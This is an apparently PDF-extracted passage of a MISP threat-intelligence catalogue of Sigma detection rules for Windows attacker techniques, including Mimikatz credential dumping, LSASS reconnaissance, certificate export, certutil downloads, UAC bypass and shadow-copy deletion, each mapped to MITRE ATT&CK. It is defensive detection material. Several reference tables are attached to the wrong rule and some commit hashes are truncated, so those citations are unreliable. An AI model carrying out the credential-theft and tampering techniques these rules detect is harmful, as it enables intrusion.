Indirect Inline Command Execution Via Bash.EXE has relationships with:

- related-to: *misp-galaxy: mitre-attack-pattern="Indirect Command Execution - T1202" with estimative-language:likelihood-probability="almost-certain"

**Table 9923. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/Binaries/Bash/">https://lolbas-project.github.io/lolbas/Binaries/Bash/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bash_command_execution.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bash_command_execution.yml</a></td>
</tr>
</tbody>
</table>

**Operator Bloopers Cobalt Strike Modules**

Detects Cobalt Strike module/commands accidentally entered in CMD shell

The tag is: *misp-galaxy: sigma-rules="Operator Bloopers Cobalt Strike Modules"

**View relationships graph**

Operator Bloopers Cobalt Strike Modules has relationships with:
• related-to: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

Table 9924. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://thedfirreport.com/2022/06/16/sans-ransomware-summit-2022-can-you-detect-this/">https://thedfirreport.com/2022/06/16/sans-ransomware-summit-2022-can-you-detect-this/</a></td>
</tr>
<tr>
<td><a href="https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/cobalt-4-5-user-guide.pdf">https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/cobalt-4-5-user-guide.pdf</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_cobaltstrike_bloopers_modules.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_cobaltstrike_bloopers_modules.yml</a></td>
</tr>
</tbody>
</table>

Service Started/Stopped Via Wmic.EXE

Detects usage of wmic to start or stop a service

The tag is: misp-galaxy:sigma-rules="Service Started/Stopped Via Wmic.EXE"

View relationships graph

Service Started/Stopped Via Wmic.EXE has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"

Table 9925. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://sushant747.gitbooks.io/total-oscp-guide/content/privilege_escalation_windows.html">https://sushant747.gitbooks.io/total-oscp-guide/content/privilege_escalation_windows.html</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_service_manipulation.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_service_manipulation.yml</a></td>
</tr>
</tbody>
</table>

Odbcconf.EXE Suspicious DLL Location

Detects execution of "odbcconf" where the path of the DLL being registered is located in a potentially suspicious location.

The tag is: misp-galaxy:sigma-rules="Odbcconf.EXE Suspicious DLL Location"

View relationships graph

Odbcconf.EXE Suspicious DLL Location has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="Odbcconf - T1218.008" with estimative-language:likelihood-probability="almost-certain"
**Potentially Suspicious Windows App Activity**

Detects potentially suspicious child process of applications launched from inside the WindowsApps directory. This could be a sign of a rogue "appx" package installation/execution

The tag is: `misp-galaxy:sigma-rules="Potentially Suspicious Windows App Activity"`

**Mshtml DLL RunHTMLApplication Abuse**

Detects suspicious command line using the "mshtml.dll" RunHTMLApplication export to run arbitrary code via different protocol handlers (vbscript, javascript, file, http...)

The tag is: `misp-galaxy:sigma-rules="Mshtml DLL RunHTMLApplication Abuse"`

**Potential Hidden Directory Creation Via NTFS INDEX_ALLOCATION Stream - CLI**

Detects command line containing reference to the "::$index_allocation" stream, which can be used as a technique to prevent access to folders or files from tooling such as "explorer.exe" or "powershell.exe"
The tag is: misp-galaxy:sigma-rules="Potential Hidden Directory Creation Via NTFS INDEX_ALLOCATION Stream - CLI"

View relationships graph

Potential Hidden Directory Creation Via NTFS INDEX_ALLOCATION Stream - CLI has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="NTFS File Attributes - T1564.004" with estimative-language:likelihood-probability="almost-certain"

Table 9929. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/pfiatde/status/1681977680688738305">https://twitter.com/pfiatde/status/1681977680688738305</a></td>
</tr>
<tr>
<td><a href="https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-fscc/c54dec26-1551-4d3a-a0ea-4fa40f848eb3">https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-fscc/c54dec26-1551-4d3a-a0ea-4fa40f848eb3</a></td>
</tr>
<tr>
<td><a href="https://soroush.me/blog/2010/12/a-dotty-salty-directory-a-secret-place-in-ntfs-for-secret-files/">https://soroush.me/blog/2010/12/a-dotty-salty-directory-a-secret-place-in-ntfs-for-secret-files/</a></td>
</tr>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/5c3b23002d2bbede3c07e7307165fc2a235a427d/atomics/T1564.004/T1564.004.md#atomic-test-5---create-hidden-directory-via-index_allocation">https://github.com/redcanaryco/atomic-red-team/blob/5c3b23002d2bbede3c07e7307165fc2a235a427d/atomics/T1564.004/T1564.004.md#atomic-test-5---create-hidden-directory-via-index_allocation</a></td>
</tr>
<tr>
<td><a href="https://sec-consult.com/blog/detail/pentesters-windows-ntfs-tricks-collection/">https://sec-consult.com/blog/detail/pentesters-windows-ntfs-tricks-collection/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_hidden_dir_index_allocation.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_hidden_dir_index_allocation.yml</a></td>
</tr>
</tbody>
</table>

**Visual Basic Command Line Compiler Usage**

Detects successful code compilation via Visual Basic Command Line Compiler that utilizes Windows Resource to Object Converter.

The tag is: misp-galaxy:sigma-rules="Visual Basic Command Line Compiler Usage"

View relationships graph

Visual Basic Command Line Compiler Usage has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Compile After Delivery - T1027.004" with estimative-language:likelihood-probability="almost-certain"

Table 9930. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/Binaries/Vbc/">https://lolbas-project.github.io/lolbas/Binaries/Vbc/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_visual_basic_compiler.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_visual_basic_compiler.yml</a></td>
</tr>
</tbody>
</table>
Potential DLL File Download Via PowerShell Invoke-WebRequest

Detects potential DLL files being downloaded using the PowerShell Invoke-WebRequest cmdlet

The tag is: *misp-galaxy: sigma-rules="Potential DLL File Download Via PowerShell Invoke-WebRequest"*

View relationships graph

Potential DLL File Download Via PowerShell Invoke-WebRequest has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: *misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 9931. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_download_dll.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_download_dll.yml</a></td>
</tr>
</tbody>
</table>

File Deletion Via Del

Detects execution of the builtin "del"/"erase" commands in order to delete files. Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.

The tag is: *misp-galaxy: sigma-rules="File Deletion Via Del"*

View relationships graph

File Deletion Via Del has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

Table 9932. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/erase">https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/erase</a></td>
</tr>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.004/T1070.004.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.004/T1070.004.md</a></td>
</tr>
</tbody>
</table>

6299
Sysmon Discovery Via Default Driver Altitude Using Findstr.EXE

Detects usage of "findstr" with the argument "385201". Which could indicate potential discovery of an installed Sysinternals Sysmon service using the default driver altitude (even if the name is changed).

The tag is: misp-galaxy:sigma-rules="Sysmon Discovery Via Default Driver Altitude Using Findstr.EXE"

View relationships graph

Sysmon Discovery Via Default Driver Altitude Using Findstr.EXE has relationships with:


Table 9933. Table References

Links

https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057f6fcd3742bfcf365fee2a9/atomics/T1518.001/T1518.001.md#atomic-test-5---security-software-discovery---sysmon-service
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_findstr_sysmon_discovery_via_default_altitude.yml

Suspicious File Downloaded From File-Sharing Website Via Certutil.EXE

Detects the execution of certutil with certain flags that allow the utility to download files from file-sharing websites.

The tag is: misp-galaxy:sigma-rules="Suspicious File Downloaded From File-Sharing Website Via Certutil.EXE"

View relationships graph

Suspicious File Downloaded From File-Sharing Website Via Certutil.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

Table 9934. Table References

Links

6300
HackTool - Mimikatz Execution

Detection well-known mimikatz command line arguments

The tag is: `misp-galaxy:sigma-rules="HackTool - Mimikatz Execution"`

View relationships graph

HackTool - Mimikatz Execution has relationships with:

- related-to:  `misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001"` with estimative-language:likelihood-probability="almost-certain"
- related-to:  `misp-galaxy:mitre-attack-pattern="LSA Secrets - T1003.004"` with estimative-language:likelihood-probability="almost-certain"
- related-to:  `misp-galaxy:mitre-attack-pattern="Cached Domain Credentials - T1003.005"` with estimative-language:likelihood-probability="almost-certain"
- related-to:  `misp-galaxy:mitre-attack-pattern="DCSync - T1003.006"` with estimative-language:likelihood-probability="almost-certain"

Table 9935. Table References

Links

- https://tools.thehacker.recipes/mimikatz/modules
- https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment
- https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_mimikatz_command_line.yml

HackTool - CoercedPotato Execution

Detects the use of CoercedPotato, a tool for privilege escalation

The tag is: `misp-galaxy:sigma-rules="HackTool - CoercedPotato Execution"`
View relationships graph

HackTool - CoercedPotato Execution has relationships with:


Table 9936. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://blog.hackvens.fr/articles/CoercedPotato.html">https://blog.hackvens.fr/articles/CoercedPotato.html</a></td>
</tr>
<tr>
<td><a href="https://github.com/hackvens/CoercedPotato">https://github.com/hackvens/CoercedPotato</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_coercedpotato.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_coercedpotato.yml</a></td>
</tr>
</tbody>
</table>

**Potential PowerShell Downgrade Attack**

Detects PowerShell downgrade attack by comparing the host versions with the actually used engine version 2.0

The tag is: misp-galaxy:sigma-rules="Potential PowerShell Downgrade Attack"

View relationships graph

Potential PowerShell Downgrade Attack has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 9937. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/00tt-3xp10it/hacking-material-books/blob/43cb1e1932c16ff1f38b755bc9ab6b096046853f/obfuscation/simple_obfuscation.md#bypass-or-avoid-amsi-by-version-downgrade">https://github.com/00tt-3xp10it/hacking-material-books/blob/43cb1e1932c16ff1f38b755bc9ab6b096046853f/obfuscation/simple_obfuscation.md#bypass-or-avoid-amsi-by-version-downgrade</a></td>
</tr>
</tbody>
</table>

**Firewall Rule Deleted Via Netsh.EXE**

Detects the removal of a port or application rule in the Windows Firewall configuration using netsh

The tag is: misp-galaxy:sigma-rules="Firewall Rule Deleted Via Netsh.EXE"

View relationships graph
Firewall Rule Deleted Via Netsh.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004" with estimative-language:likelihood-probability="almost-certain"

Remote File Download Via Desktopimgdownldr Utility

Detects the desktopimgdownldr utility being used to download a remote file. An adversary may use desktopimgdownldr to download arbitrary files as an alternative to certutil.

The tag is: misp-galaxy:sigma-rules="Remote File Download Via Desktopimgdownldr Utility"

Suspicious Windows Update Agent Empty Cmdline

Detects suspicious Windows Update Agent activity in which a wuauclt.exe process command line doesn’t contain any command line flags

The tag is: misp-galaxy:sigma-rules="Suspicious Windows Update Agent Empty Cmdline"
Certificate Exported Via PowerShell

Detects calls to cmdlets that are used to export certificates from the local certificate store. Threat actors were seen abusing this to steal private keys from compromised machines.

The tag is: `misp-galaxy:sigma-rules="Certificate Exported Via PowerShell"`

View relationships graph

Certificate Exported Via PowerShell has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Private Keys - T1552.004"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001"` with estimative-language:likelihood-probability="almost-certain"

Table 9941. Table References

Set Files as System Files Using Attrib.EXE

Detects the execution of "attrib" with the "+s" flag to mark files as system files

The tag is: `misp-galaxy:sigma-rules="Set Files as System Files Using Attrib.EXE"`

View relationships graph

Set Files as System Files Using Attrib.EXE has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1564.001"` with estimative-language:likelihood-probability="almost-certain"
Suspicious Service Path Modification

Detects service path modification via the "sc" binary to a suspicious command or path

The tag is: _misp-galaxy:sigma-rules="Suspicious Service Path Modification"

View relationships graph

Suspicious Service Path Modification has relationships with:

- related-to: _misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"

Table 9943. Table References

Links

https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfe2a9/atomics/T1543.001/T1543.001.md#atomic-test-3---create-windows-system-file-with-attrib

https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/attrib

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sc_service_path_modification.yml

Cscript/Wscript Suspicious Child Process

Detects suspicious child processes of Wscript/Cscript

The tag is: _misp-galaxy:sigma-rules="Cscript/Wscript Suspicious Child Process"

Table 9944. Table References

Links

https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfe2a9/atomics/T1543.001/T1543.001.md


https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wscript_cscript_susp_child_processes.yml
Regsvr32 DLL Execution With Suspicious File Extension

Detects the execution of REGSVR32.exe with DLL files masquerading as other files

The tag is: *misp-galaxy:sigma-rules="Regsvr32 DLL Execution With Suspicious File Extension"

View relationships graph

Regsvr32 DLL Execution With Suspicious File Extension has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern="Regsvr32 - T1218.010" with estimative-language:likelihood-probability="almost-certain"

**Table 9945. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://guides.lib.umich.edu/c.php?g=282942&amp;p=1885348">https://guides.lib.umich.edu/c.php?g=282942&amp;p=1885348</a></td>
</tr>
</tbody>
</table>

Suspicious Rundll32 Script in CommandLine

Detects suspicious process related to rundll32 based on arguments

The tag is: *misp-galaxy:sigma-rules="Suspicious Rundll32 Script in CommandLine"

View relationships graph

Suspicious Rundll32 Script in CommandLine has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"

**Table 9946. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/cd3690b100a495885c407282d0c94c85f48a8a2e/atomics/T1218.011/T1218.011.md">https://github.com/redcanaryco/atomic-red-team/blob/cd3690b100a495885c407282d0c94c85f48a8a2e/atomics/T1218.011/T1218.011.md</a></td>
</tr>
<tr>
<td><a href="https://gist.githubusercontent.com/ryhanson/227229866af52e2d963cf941af135a52">https://gist.githubusercontent.com/ryhanson/227229866af52e2d963cf941af135a52</a></td>
</tr>
</tbody>
</table>
Remote CHM File Download/Execution Via HH.EXE

Detects the usage of "hh.exe" to execute/download remotely hosted ".chm" files.

The tag is: misp-galaxy: sigma-rules="Remote CHM File Download/Execution Via HH.EXE"

View relationships graph

Remote CHM File Download/Execution Via HH.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Compiled HTML File - T1218.001" with estimative-language:likelihood-probability="almost-certain"

Table 9947. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/1cf4dd51f83dcb0ebe6ade902d6157ad2dbc6ac8/atomics/T1218.001/T1218.001.md">https://github.com/redcanaryco/atomic-red-team/blob/1cf4dd51f83dcb0ebe6ade902d6157ad2dbc6ac8/atomics/T1218.001/T1218.001.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hh_chm_remote_download_or_execution.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hh_chm_remote_download_or_execution.yml</a></td>
</tr>
</tbody>
</table>

Suspicious Extrac32 Alternate Data Stream Execution

Extract data from cab file and hide it in an alternate data stream

The tag is: misp-galaxy: sigma-rules="Suspicious Extrac32 Alternate Data Stream Execution"

View relationships graph

Suspicious Extrac32 Alternate Data Stream Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="NTFS File Attributes - T1564.004" with estimative-language:likelihood-probability="almost-certain"

Table 9948. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/Binaries/Extrac32/">https://lolbas-project.github.io/lolbas/Binaries/Extrac32/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_extrac32_ads.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_extrac32_ads.yml</a></td>
</tr>
</tbody>
</table>

Suspicious Windows Trace ETW Session Tamper Via Logman.EXE

Detects the execution of "logman" utility in order to disable or delete Windows trace sessions
The tag is: `misp-galaxy:sigma-rules="Suspicious Windows Trace ETW Session Tamper Via Logman.EXE"`

View relationships graph

Suspicious Windows Trace ETW Session Tamper Via Logman.EXE has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001"` with estimative-language:likelihood-probability="almost-certain"

Table 9949. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://ss64.com/nt/logman.html">https://ss64.com/nt/logman.html</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/0gtweet/status/1359039665232306183?s=21">https://twitter.com/0gtweet/status/1359039665232306183?s=21</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_logman_disable_eventlog.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_logman_disable_eventlog.yml</a></td>
</tr>
</tbody>
</table>

Potential Tampering With Security Products Via WMIC

Detects uninstallation or termination of security products using the WMIC utility

The tag is: `misp-galaxy:sigma-rules="Potential Tampering With Security Products Via WMIC"`

View relationships graph

Potential Tampering With Security Products Via WMIC has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001"` with estimative-language:likelihood-probability="almost-certain"

Table 9950. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions">https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions</a></td>
</tr>
<tr>
<td><a href="https://research.nccgroup.com/2022/08/19/back-in-black-unlocking-a-lockbit-3-0-ransomware-attack/">https://research.nccgroup.com/2022/08/19/back-in-black-unlocking-a-lockbit-3-0-ransomware-attack/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/cglyer/status/1355171195654709249">https://twitter.com/cglyer/status/1355171195654709249</a></td>
</tr>
<tr>
<td><a href="https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/">https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_uninstall_security_products.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_uninstall_security_products.yml</a></td>
</tr>
</tbody>
</table>
Audio Capture via PowerShell

Detects audio capture via PowerShell Cmdlet.

The tag is: misp-galaxy:sigma-rules="Audio Capture via PowerShell"

View relationships graph

Audio Capture via PowerShell has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Audio Capture - T1123" with estimative-language:likelihood-probability="almost-certain"

Table 9951. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057f6fcd3742bfcf365fee2a9/atoms/T1123/T1123.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057f6fcd3742bfcf365fee2a9/atoms/T1123/T1123.md</a></td>
</tr>
<tr>
<td><a href="https://eqllib.readthedocs.io/en/latest/analytics/ab7a6ef4-0983-4275-a4f1-5c6bd3c31c23.html">https://eqllib.readthedocs.io/en/latest/analytics/ab7a6ef4-0983-4275-a4f1-5c6bd3c31c23.html</a></td>
</tr>
<tr>
<td><a href="https://github.com/frgnca/AudioDeviceCmdlets">https://github.com/frgnca/AudioDeviceCmdlets</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_audio_capture.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_audio_capture.yml</a></td>
</tr>
</tbody>
</table>

Computer Discovery And Export Via Get-ADComputer Cmdlet

Detects usage of the Get-ADComputer cmdlet to collect computer information and output it to a file

The tag is: misp-galaxy:sigma-rules="Computer Discovery And Export Via Get-ADComputer Cmdlet"

View relationships graph

Computer Discovery And Export Via Get-ADComputer Cmdlet has relationships with:


Table 9952. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Arbitrary File Download Via MSPUB.EXE

Detects usage of "MSPUB" (Microsoft Publisher) to download arbitrary files

The tag is: misp-galaxy:sigma-rules="Arbitrary File Download Via MSPUB.EXE"

View relationships graph

Arbitrary File Download Via MSPUB.EXE has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Potential Arbitrary Code Execution Via Node.EXE

Detects the execution node.exe which is shipped with multiple software such as VMware, Adobe... etc. In order to execute arbitrary code. For example to establish reverse shell as seen in Log4j attacks...etc

The tag is: misp-galaxy:sigma-rules="Potential Arbitrary Code Execution Via Node.EXE"

View relationships graph

Potential Arbitrary Code Execution Via Node.EXE has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="Trusted Developer Utilities Proxy Execution - T1127" with estimative-language:likelihood-probability="almost-certain"

Table 9953. Table References

Links

https://github.com/LOLBAS-Project/LOLBAS/pull/238/files
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mspub_download.yml

Table 9954. Table References

Links

https://nodejs.org/api/cli.html
https://www.rapid7.com/blog/post/2022/01/18/active-exploitation-of-vmware-horizon-servers/
**UAC Bypass Using ChangePK and SLUI**

Detects an UAC bypass that uses changepk.exe and slui.exe (UACMe 61)

The tag is: `misp-galaxy:sigma-rules="UAC Bypass Using ChangePK and SLUI"`

View relationships graph

UAC Bypass Using ChangePK and SLUI has relationships with:


**Change Default File Association Via Assoc**

Detects file association changes using the builtin "assoc" command. When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access or by administrators using the built-in assoc utility. Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.

The tag is: `misp-galaxy:sigma-rules="Change Default File Association Via Assoc"`

View relationships graph

Change Default File Association Via Assoc has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Change Default File Association - T1546.001"` with estimative-language:likelihood-probability="almost-certain"

**Table 9955. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://mattharr0ey.medium.com/privilege-escalation-uac-bypass-in-changepk-c40b92818d1b">https://mattharr0ey.medium.com/privilege-escalation-uac-bypass-in-changepk-c40b92818d1b</a></td>
</tr>
<tr>
<td><a href="https://github.com/hfiref0x/UACME">https://github.com/hfiref0x/UACME</a></td>
</tr>
<tr>
<td><a href="https://medium.com/falconforce/falconfriday-detecting-uac-bypasses-0xff16-86c2a9107abf">https://medium.com/falconforce/falconfriday-detecting-uac-bypasses-0xff16-86c2a9107abf</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_changepk_slui.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_changepk_slui.yml</a></td>
</tr>
</tbody>
</table>

**Table 9956. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057dfcdf3742bfcf365fee2a9/atomics/T1546.001/T1546.001.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057dfcdf3742bfcf365fee2a9/atomics/T1546.001/T1546.001.md</a></td>
</tr>
</tbody>
</table>
Fsutil Behavior Set SymlinkEvaluation

A symbolic link is a type of file that contains a reference to another file. This is probably done to make sure that the ransomware is able to follow shortcuts on the machine in order to find the original file to encrypt.

The tag is: misp-galaxy:sigma-rules="Fsutil Behavior Set SymlinkEvaluation"

View relationships graph

Fsutil Behavior Set SymlinkEvaluation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"

Table 9957. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.cybereason.com/blog/cybereason-vs.-blackcat-ransomware">https://www.cybereason.com/blog/cybereason-vs.-blackcat-ransomware</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/fr-fr/windows-server/administration/windows-commands/fsutil-behavior">https://docs.microsoft.com/fr-fr/windows-server/administration/windows-commands/fsutil-behavior</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_fsutil_symlinkevaluation.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_fsutil_symlinkevaluation.yml</a></td>
</tr>
</tbody>
</table>

LSASS Process Reconnaissance Via Findstr.EXE

Detects findstring commands that include the keyword lsass, which indicates recon activity for the LSASS process PID.

The tag is: misp-galaxy:sigma-rules="LSASS Process Reconnaissance Via Findstr.EXE"

View relationships graph

LSASS Process Reconnaissance Via Findstr.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Group Policy Preferences - T1552.006" with estimative-language:likelihood-probability="almost-certain"

Table 9958. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://blog.talosintelligence.com/2022/08/recent-cyber-attack.html?m=1">https://blog.talosintelligence.com/2022/08/recent-cyber-attack.html?m=1</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_findstr_lsass.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_findstr_lsass.yml</a></td>
</tr>
</tbody>
</table>
Deletion of Volume Shadow Copies via WMI with PowerShell

Detects deletion of Windows Volume Shadow Copies with PowerShell code and Get-WMIObject. This technique is used by numerous ransomware families such as Sodinokibi/REvil

The tag is: `misp-galaxy:sigma-rules="Deletion of Volume Shadow Copies via WMI with PowerShell"`

View relationships graph

Deletion of Volume Shadow Copies via WMI with PowerShell has relationships with:


